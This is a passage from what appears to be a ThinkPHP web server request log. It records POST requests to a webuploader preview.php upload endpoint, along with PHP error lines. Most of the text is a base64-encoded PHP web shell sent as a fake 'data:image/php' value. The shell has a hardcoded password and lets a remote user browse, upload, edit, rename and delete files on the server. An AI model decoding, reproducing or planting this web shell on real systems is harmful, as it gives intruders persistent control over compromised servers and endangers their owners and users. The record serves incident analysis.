w0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:42+08:00 ] 119.42.146.234 POST 51tianwei.com/public/static/common/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002779s] [吞吐率:359.84req/s] [内存消耗:196.85kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3J